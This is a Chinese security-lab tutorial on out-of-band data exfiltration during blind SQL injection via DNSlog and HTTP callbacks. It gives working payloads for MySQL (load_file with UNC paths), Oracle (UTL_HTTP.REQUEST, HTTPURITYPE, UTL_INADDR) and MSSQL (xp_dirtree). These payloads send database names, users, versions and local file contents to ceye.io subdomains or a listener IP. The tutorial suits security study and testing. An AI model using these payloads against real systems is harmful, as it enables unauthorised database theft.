vlambda博客
学习文章列表

DnsLog在SQL注入中的利用

戟星安全实验室


    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约3800字,阅读约需10分钟。



0x00  前言


DNS 即域名解析服务器,而dnslog 即记录着在解析过程中留下的日志,我们输入域名之后我们的本地域名服务器会把在自身服务器里面查询是否存在ip 地址如果没有则发送到根域名服务器如果根域名服务器里面有对应的记录则返回如果没有则告诉本地域名服务器去向顶级域名服务器查找。
所以dnslog 常被利用来做各种盲注的回显,在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS 请求,这个时候就可以通过这种方式把想获得的数据外带出来。


0x01  dnslog基于mysql的利用


环境:win10下安装mysql5.7

http://www.dnslog.cn/(dnslog平台)

 

dnslog在mysql中利用的前提条件:

  • 需要用到mysql的内置函数load_file()来读取本地文件,并且需要在my.ini文件中把secure_file_priv的值设为空,此时可以读取本地任意文件。因为当secure_file_priv有值时,只能读取被设定的路径下的文件。最重要的是load_file函数可以发送DNS请求,这是利用的关键;
  • 如果mysql架设在linux系统下,是无法利用dnslog注入的,这里涉及到了UNC路径,而linux下是没有UNC路径的;
  • UNC路径的百度解释:UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式
  • 文件必须是所有人都可读的,并且它的大小需要小于max_allowed_packet允许的最大字节;



DnsLog在SQL注入中的利用


DnsLog在SQL注入中的利用


show variables like ‘max_allowed_packet’show variables like ‘secure_file_priv’
尝试构造语句获取当前的数据库名,执行语句后,在ceye.io查看发现可以成功获取到数据库名,因为mysql中双引号里面的语句不被执行,所以用到concat函数来拼接,在之前提到了UNC路径,这里用4个\来进行拼接,转义后变成\\,后面的aaa只是资源名字,可以替换为其他


DnsLog在SQL注入中的利用

 

DnsLog在SQL注入中的利用


select load_file(concat(“\\\\”,(select database()),”.xxxxxx.ceye.io\\aaa”))

构造语句尝试查询表名

 

DnsLog在SQL注入中的利用


DnsLog在SQL注入中的利用


selectload_file(concat(‘\\\\’,(select table_name from information_schem.tables wheretable_schema=database() limit 0,1),’xxxxxx.ceye.io\\aaa’))

构造语句获取字段名,这里要注意因为一个表里会有很多个字段,但是我们每次执行语句只能显示出来一条在子域名里,所以需要不断变换limit后面的值来执行语句,查询所有字段名


DnsLog在SQL注入中的利用


DnsLog在SQL注入中的利用

 

selectload_file(concat(‘\\\\’,(select column_name from information_schem.column wheretable_name=’userlimit 0,1),’xxxxxx.ceye.io\\aaa’))


因为已经在my.ini里面把secure_file_priv值设为空了,所以尝试构造语句验证下设置,这里在d盘创建1.txt文件,尝试通过load_file函数读取


DnsLog在SQL注入中的利用

 

成功读取到d盘中的1.txt文件后,说明secure_file_priv设置没有问题,现在可以通过构造语句,让1.txt里面的内容可以拼接在子域名里面解析出来

 

DnsLog在SQL注入中的利用

 

select load_file(concat(“\\\\”,(selectload_file(“d:\\1.txt”)),”.xxxxxx.ceye.io\\aaa”))

这里成功执行语句,但是在ceye.io并查询不到,在经过一番排错思考过后,发现1.txt文本里面我输入的内容包括了空格,很明显问题出在了域名里不能有特殊字符。这里先尝试下把空格删除,验证下想法

 

DnsLog在SQL注入中的利用

发现问题确实出在这里,所以这里可以通过把要输出的内容先做hex编码处理,显示出来后再利用工具解码即可,把空格加回去,然后构造语句把hex()带上


DnsLog在SQL注入中的利用


DnsLog在SQL注入中的利用


DnsLog在SQL注入中的利用


select load_file(concat(“\\\\”,hex((selectload_file(“d:\\1.txt”))),”.xxxxxx.ceye.io\\aaa”))

可以发现利用hex编码是行的通的,所以我们平时在做注入时,如果不确定输出的内容是否包含特殊字符导致回显失败,可以尝试下hex编码,但是hex编码后的字节大小同样不可以超过max_allowed_packet的限制


0x02  dnslog基于oracle的利用


环境:ceye.io平台

docker搭建oracle11g版本

 

(1)UTL_HTTP.REQUEST函数  (向外网主机发送http请求)

这个函数用来获得web服务器的请求信息,所以我们可以自己监听端口,然后通过这个函数在请求头的位置将需要的数据发送反弹回来

在使用这个函数时,需要用户有utl_http访问网络的权限,所以通过执行以下语句的回显来判断一下,回显正常即表示有访问网络的权限


DnsLog在SQL注入中的利用


select count(*) from all_objects where object_name=’UTL_HTTP’

直接在本地用python开启一个监听服务,然后构造语句执行查询数据库的版本号,这里可以看到虽然显示执行语句有错误,但是在监听端口那里是可以看到版本号信息的返回,说明函数执行成功了。


DnsLog在SQL注入中的利用

 

DnsLog在SQL注入中的利用

select banner from sys.v_$sversion whererownum=1 and UTL_HTTP.REQUEST(‘http:xx.xx.xx.xx:4455/’ || (select banner fromsys.v_sversion where rownum=1))=1--;

 

(2)HTTPURITYPE函数

此函数跟UTL_HTTP.REQUEST函数类似,都是在请求头中将信息外带出来,所以同样需要开启http.server监听,这里简单举个例子查询当前用户


DnsLog在SQL注入中的利用


DnsLog在SQL注入中的利用


select HTTPURITYPE(‘HTTP://xx.xx.xx.xx:4455/’|| (select user from dual)).GETCLOB() from dual;


(3)UTL_INADDR.GET_HOST_ADDRESS函数(将查询结果拼接到域名下,并使用DNS记录解析日志)

 

这里构造语句来获取当前用户,oracle中用  ||  进行拼接,dual表为Oracle中的一个虚拟存在的表,任何用户均可读取,常用在没有目标表的Select语句块中。(oracle是不允许select语句后面没有表的,所以此处可以跟一个伪表dual)


DnsLog在SQL注入中的利用


DnsLog在SQL注入中的利用


selectutl_inaddr.get_host_address((select user from dual) ||’.h04bdn.ceye.io’) fromdual;



0x03  dnslog基于mssql的利用


环境:docker安装mssql2019

ceye.io平台

 

利用条件:


master…xp_dirtree (用于获取所有文件夹的列表和给定文件夹内部的子文件夹)master…xp_fileexist (用于确定一个特定的文件是否存在于硬盘)master…xp_subdirs (用于得到给定的文件夹内的文件夹列表)


使用master.dbo.xp_dirtree功能来执行DNS查询,主要目的是将文件放在目录下,但它也允许远程目录访问,这样就可以让域运行并获得结果

 

构造语句查询当前的数据库名,先定义变量data,和数据类型,再将查询到的数据拼接到字符串中赋值给变量。


DnsLog在SQL注入中的利用


 

DECLARE @data varchar(1024);SELECT @data=(SELECT TOP 1 rtrim(Name) FROMMaster..Sysdatabases order by Name);EXEC(‘master..xp_dirtree “\\’+ @data +’.xxxxxx.ceye.io\ foo $”’);GO


top 1的用法类似于mysql中的limit,限制查询数目,这里用到了rtrim函数,因为mssql中当需要字符串拼接的时候,如果字段的值的长度没有达到表结构字段的长度,就会用空格来填充,但是如果存在空格的话,就不能在dnslog平台上看到回显了


0x04  总结


通过dnslog平台将信息外带出来的原理就是利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,利用MYSQL内置函数load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。

在oracle中把信息外带时,主要是用到几个可以发起网络请求的函数,在做这个复现时遇到最大的困难是在构造语句上,网上有很多现成的语句,但每个环境不一样,需要自己去不断修改语句。


  声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


戟星安全实验室